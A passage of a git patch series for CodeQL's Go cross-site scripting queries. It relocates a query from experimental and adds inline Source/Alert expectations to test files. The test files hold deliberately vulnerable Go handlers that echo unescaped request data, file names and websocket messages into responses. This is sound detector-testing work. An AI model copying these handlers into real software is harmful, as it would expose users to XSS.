From 5bce70f78c20857e47e3a3ffaf9a1d0956dc2b4c Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 10:31:58 +0100 Subject: [PATCH 001/271] Move files out of experimental (no changes) --- .../CWE-079}/HTMLTemplateEscapingPassthrough.qhelp | 0 .../CWE-079}/HTMLTemplateEscapingPassthrough.ql | 0 .../CWE-079}/HTMLTemplateEscapingPassthroughBad.go | 0 .../CWE-079}/HTMLTemplateEscapingPassthroughGood.go | 0 .../Security/CWE-079}/HTMLTemplateEscapingPassthrough.expected | 0 .../Security/CWE-079}/HTMLTemplateEscapingPassthrough.go | 0 .../Security/CWE-079}/HTMLTemplateEscapingPassthrough.qlref | 0 7 files changed, 0 insertions(+), 0 deletions(-) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthrough.qhelp (100%) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthrough.ql (100%) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthroughBad.go (100%) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthroughGood.go (100%) rename go/ql/test/{experimental/CWE-79 => query-tests/Security/CWE-079}/HTMLTemplateEscapingPassthrough.expected (100%) rename go/ql/test/{experimental/CWE-79 => query-tests/Security/CWE-079}/HTMLTemplateEscapingPassthrough.go (100%) rename go/ql/test/{experimental/CWE-79 => query-tests/Security/CWE-079}/HTMLTemplateEscapingPassthrough.qlref (100%) diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp similarity index 100% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql similarity index 100% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go similarity index 100% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go similarity index 100% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected similarity index 100% rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected rename to go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go similarity index 100% rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go rename to go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref similarity index 100% rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref rename to go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref From 1530ac123cde7f6d433dca0609cb44eb206cd740 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 11:49:44 +0100 Subject: [PATCH 002/271] Update path in qlref and update test results --- .../HTMLTemplateEscapingPassthrough.expected | 39 ++++++++++++------- .../HTMLTemplateEscapingPassthrough.qlref | 2 +- 2 files changed, 25 insertions(+), 16 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected index c91fe813e9f..8032c4eec22 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected @@ -10,32 +10,37 @@ | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | converted | edges | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | provenance | | | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:2 | +| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:3 | +| ReflectedXssGood.go:15:15:15:20 | selection of Form | ReflectedXssGood.go:15:15:15:36 | call to Get | provenance | Src:MaD:1 MaD:4 | +| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:20:24:20:31 | username | provenance | | +| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:21:40:21:47 | username | provenance | | models -| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | -| 2 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual | +| 1 | Source: net/http; Request; true; Form; ; ; ; remote; manual | +| 2 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | +| 3 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual | +| 4 | Summary: net/url; Values; true; Get; ; ; Argument[receiver]; ReturnValue; taint; manual | nodes | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent | @@ -73,4 +78,8 @@ nodes | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | semmle.label | call to HTMLEscapeString | | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | semmle.label | src | | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | semmle.label | converted | +| ReflectedXssGood.go:15:15:15:20 | selection of Form | semmle.label | selection of Form | +| ReflectedXssGood.go:15:15:15:36 | call to Get | semmle.label | call to Get | +| ReflectedXssGood.go:20:24:20:31 | username | semmle.label | username | +| ReflectedXssGood.go:21:40:21:47 | username | semmle.label | username | subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref index c425b9a445b..acafdb5ff4c 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref @@ -1,2 +1,2 @@ -query: experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +query: Security/CWE-079/HTMLTemplateEscapingPassthrough.ql postprocess: utils/test/PrettyPrintModels.ql From 1926ffd450433d1e0867438b7a2e1c820e233516 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 12:18:23 +0100 Subject: [PATCH 003/271] Convert XSS tests to use inline expectations --- .../HTMLTemplateEscapingPassthrough.go | 36 +++++++++---------- .../HTMLTemplateEscapingPassthrough.qlref | 4 ++- .../Security/CWE-079/ReflectedXss.go | 4 +-- .../Security/CWE-079/ReflectedXss.qlref | 4 ++- .../query-tests/Security/CWE-079/StoredXss.go | 2 +- .../Security/CWE-079/StoredXss.qlref | 4 ++- .../Security/CWE-079/contenttype.go | 24 ++++++------- .../Security/CWE-079/reflectedxsstest.go | 16 ++++----- .../query-tests/Security/CWE-079/stored.go | 8 ++--- .../test/query-tests/Security/CWE-079/tst.go | 8 ++--- .../Security/CWE-079/websocketXss.go | 24 ++++++------- 11 files changed, 70 insertions(+), 64 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go index de353c861cf..dcadac92d28 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go @@ -26,45 +26,45 @@ func bad(req *http.Request) { { { - var a = template.HTML(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] } { { var a template.HTML - a = template.HTML(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] } { var a HTMLAlias - a = HTMLAlias(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] } } } { - var c = template.HTMLAttr(req.UserAgent()) - checkError(tmplTag.Execute(os.Stdout, c)) + var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-passthrough] } { - var d = template.JS(req.UserAgent()) - checkError(tmplScript.Execute(os.Stdout, d)) + var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-passthrough] } { - var e = template.JSStr(req.UserAgent()) - checkError(tmplScript.Execute(os.Stdout, e)) + var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-passthrough] } { - var b = template.CSS(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, b)) + var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-passthrough] } { - var f = template.Srcset(req.UserAgent()) - checkError(tmplSrcset.Execute(os.Stdout, f)) + var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-passthrough] } { - var g = template.URL(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, g)) + var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-passthrough] } } diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref index acafdb5ff4c..61712749b14 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/HTMLTemplateEscapingPassthrough.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go index 43e5e022598..fe6f5844998 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go @@ -8,10 +8,10 @@ import ( func serve() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source[go/reflected-xss] if !isValidUsername(username) { // BAD: a request parameter is incorporated without validation into the response - fmt.Fprintf(w, "%q is an unknown user", username) + fmt.Fprintf(w, "%q is an unknown user", username) // $ Alert[go/reflected-xss] } else { // TODO: Handle successful login } diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref index 754513d72bb..e6b791f39fc 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/ReflectedXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go index 008b738f4ca..30774df3924 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go @@ -10,6 +10,6 @@ func ListFiles(w http.ResponseWriter, r *http.Request) { files, _ := ioutil.ReadDir(".") for _, file := range files { - io.WriteString(w, file.Name()+"\n") + io.WriteString(w, file.Name()+"\n") // $ Alert[go/stored-xss] } } diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref index 66b7d67dd8f..f47ad25ca9c 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/StoredXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/contenttype.go b/go/ql/test/query-tests/Security/CWE-079/contenttype.go index bb9880cc576..2800b3eed45 100644 --- a/go/ql/test/query-tests/Security/CWE-079/contenttype.go +++ b/go/ql/test/query-tests/Security/CWE-079/contenttype.go @@ -8,13 +8,13 @@ import ( func serve2() { http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - data := r.Form.Get("data") + data := r.Form.Get("data") // $ Source[go/reflected-xss] // Not OK; direct flow from request body to output. // The response Content-Type header is derived from a call to // `http.DetectContentType`, which can be easily manipulated into returning // `text/html` for XSS. - w.Write([]byte(data)) + w.Write([]byte(data)) // $ Alert[go/reflected-xss] }) http.ListenAndServe(":80", nil) } @@ -46,11 +46,11 @@ func serve4() { func serve5() { http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - data := r.Form.Get("data") + data := r.Form.Get("data") // $ Source[go/reflected-xss] w.Header().Set("Content-Type", "text/html") - fmt.Fprintf(w, "Constant: %s", data) // Not OK; the content-type header is explicitly set to html + fmt.Fprintf(w, "Constant: %s", data) // $ Alert[go/reflected-xss] // The content-type header is explicitly set to html }) http.ListenAndServe(":80", nil) } @@ -60,8 +60,8 @@ func serve10() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") - fmt.Fprintf(w, "\t%s", data) // Not OK + data = r.FormValue("data") // $ Source[go/reflected-xss] + fmt.Fprintf(w, "\t%s", data) // $ Alert[go/reflected-xss] }) } @@ -70,13 +70,13 @@ func serve11() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") + data = r.FormValue("data") // $ Source[go/reflected-xss] fmt.Fprintf(w, ` %s -`, data) // Not OK +`, data) // $ Alert[go/reflected-xss] }) } @@ -85,10 +85,10 @@ func serve12() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") + data = r.FormValue("data") // $ Source[go/reflected-xss] fmt.Fprintf(w, ` %s -`, data) // Not OK +`, data) // $ Alert[go/reflected-xss] }) } @@ -110,7 +110,7 @@ func serve14() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") - fmt.Fprintf(w, "%s", data) // Not OK + data = r.FormValue("data") // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%s", data) // $ Alert[go/reflected-xss] }) } diff --git a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go index 70bb248298d..65024f6b865 100644 --- a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go +++ b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go @@ -28,29 +28,29 @@ func ErrTest(w http.ResponseWriter, r http.Request) { w.Write([]byte(fmt.Sprintf("Cookie result: %v", cookie))) // GOOD: Cookie's value is not user-controlled in reflected xss. w.Write([]byte(fmt.Sprintf("Cookie check error: %v", err))) // GOOD: Cookie's err return is harmless http.Error(w, fmt.Sprintf("Cookie result: %v", cookie), 500) // Good: only plain text is written. - file, header, err := r.FormFile("someFile") + file, header, err := r.FormFile("someFile") // $ Source[go/reflected-xss] content, err2 := ioutil.ReadAll(file) - w.Write([]byte(fmt.Sprintf("File content: %v", content))) // BAD: file content is user-controlled - w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // BAD: file header is user-controlled + w.Write([]byte(fmt.Sprintf("File content: %v", content))) // $ Alert[go/reflected-xss] // BAD: file content is user-controlled + w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // $ Alert[go/reflected-xss] // BAD: file header is user-controlled w.Write([]byte(fmt.Sprintf("FormFile error: %v", err))) // GOOD: FormFile's err return is harmless w.Write([]byte(fmt.Sprintf("FormFile error: %v", err2))) // GOOD: ReadAll's err return is harmless - reader, err := r.MultipartReader() + reader, err := r.MultipartReader() // $ Source[go/reflected-xss] part, err2 := reader.NextPart() partName := part.FileName() byteSlice := make([]byte, 100) part.Read(byteSlice) - w.Write([]byte(fmt.Sprintf("Part name: %v", partName))) // BAD: part name is user-controlled - w.Write(byteSlice) // BAD: part contents are user-controlled + w.Write([]byte(fmt.Sprintf("Part name: %v", partName))) // $ Alert[go/reflected-xss] // BAD: part name is user-controlled + w.Write(byteSlice) // $ Alert[go/reflected-xss] // BAD: part contents are user-controlled w.Write([]byte(fmt.Sprintf("MultipartReader error: %v", err))) // GOOD: MultipartReader's err return is harmless w.Write([]byte(fmt.Sprintf("MultipartReader error: %v", err2))) // GOOD: NextPart's err return is harmless } func QueryMapTest(w http.ResponseWriter, r http.Request) { - keys, ok := r.URL.Query()["data_id"] + keys, ok := r.URL.Query()["data_id"] // $ Source[go/reflected-xss] if ok && len(keys[0]) > 0 { key := keys[0] - w.Write([]byte(key)) // BAD: query string is user-controlled + w.Write([]byte(key)) // $ Alert[go/reflected-xss] // BAD: query string is user-controlled } } diff --git a/go/ql/test/query-tests/Security/CWE-079/stored.go b/go/ql/test/query-tests/Security/CWE-079/stored.go index 807ae7e1d44..d2852f631ef 100644 --- a/go/ql/test/query-tests/Security/CWE-079/stored.go +++ b/go/ql/test/query-tests/Security/CWE-079/stored.go @@ -15,7 +15,7 @@ var q string func storedserve1() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - rows, _ := db.Query(q, 32) + rows, _ := db.Query(q, 32) // $ Source[go/stored-xss] for rows.Next() { var ( @@ -27,7 +27,7 @@ func storedserve1() { } // BAD: the stored XSS query assumes all query results are untrusted - io.WriteString(w, name) + io.WriteString(w, name) // $ Alert[go/stored-xss] } }) } @@ -56,9 +56,9 @@ func storedserve2() { func storedserve3() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { - filepath.WalkDir(".", func(path string, _ fs.DirEntry, err error) error { + filepath.WalkDir(".", func(path string, _ fs.DirEntry, err error) error { // $ Source[go/stored-xss] // BAD: filenames are considered to be untrusted - io.WriteString(w, path) + io.WriteString(w, path) // $ Alert[go/stored-xss] return nil }) }) diff --git a/go/ql/test/query-tests/Security/CWE-079/tst.go b/go/ql/test/query-tests/Security/CWE-079/tst.go index e6d4f1ed22b..c53fe476b95 100644 --- a/go/ql/test/query-tests/Security/CWE-079/tst.go +++ b/go/ql/test/query-tests/Security/CWE-079/tst.go @@ -11,11 +11,11 @@ import ( func serve6() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source[go/reflected-xss] if !isValidUsername(username) { // BAD: a request parameter is incorporated without validation into the response a := []string{username, "is", "an", "unknown", "user"} - w.Write([]byte(strings.Join(a, " "))) + w.Write([]byte(strings.Join(a, " "))) // $ Alert[go/reflected-xss] } else { // TODO: do something exciting } @@ -45,12 +45,12 @@ func serve7() { func serve8() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - service := r.Form.Get("service") + service := r.Form.Get("service") // $ Source[go/reflected-xss] if service != "service1" && service != "service2" { fmt.Fprintln(w, "Service not found") } else { // OK (service is known to be either "service1" or "service2" here), but currently flagged - w.Write([]byte(service)) + w.Write([]byte(service)) // $ SPURIOUS: Alert[go/reflected-xss] } }) } diff --git a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go index 06f15e52cd3..1313f431dd5 100644 --- a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go @@ -27,32 +27,32 @@ func xss(w http.ResponseWriter, r *http.Request) { origin := "test" { ws, _ := websocket.Dial(uri, "", origin) - var xnet = make([]byte, 512) + var xnet = make([]byte, 512) // $ Source[go/reflected-xss] ws.Read(xnet) - fmt.Fprintf(w, "%v", xnet) + fmt.Fprintf(w, "%v", xnet) // $ Alert[go/reflected-xss] codec := &websocket.Codec{marshal, unmarshal} - xnet2 := make([]byte, 512) + xnet2 := make([]byte, 512) // $ Source[go/reflected-xss] codec.Receive(ws, xnet2) - fmt.Fprintf(w, "%v", xnet2) + fmt.Fprintf(w, "%v", xnet2) // $ Alert[go/reflected-xss] } { n, _, _ := nhooyr.Dial(context.TODO(), uri, nil) - _, nhooyr, _ := n.Read(context.TODO()) - fmt.Fprintf(w, "%v", nhooyr) + _, nhooyr, _ := n.Read(context.TODO()) // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%v", nhooyr) // $ Alert[go/reflected-xss] } { dialer := gorilla.Dialer{} conn, _, _ := dialer.Dial(uri, nil) - var gorillaMsg = make([]byte, 512) + var gorillaMsg = make([]byte, 512) // $ Source[go/reflected-xss] gorilla.ReadJSON(conn, gorillaMsg) - fmt.Fprintf(w, "%v", gorillaMsg) + fmt.Fprintf(w, "%v", gorillaMsg) // $ Alert[go/reflected-xss] - gorilla2 := make([]byte, 512) + gorilla2 := make([]byte, 512) // $ Source[go/reflected-xss] conn.ReadJSON(gorilla2) - fmt.Fprintf(w, "%v", gorilla2) + fmt.Fprintf(w, "%v", gorilla2) // $ Alert[go/reflected-xss] - _, gorilla3, _ := conn.ReadMessage() - fmt.Fprintf(w, "%v", gorilla3) + _, gorilla3, _ := conn.ReadMessage() // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%v", gorilla3) // $ Alert[go/reflected-xss] } } From c2ebdf5266a900b27c8b439d58cce99a2ea52eee Mon Sep 17 00:00:00 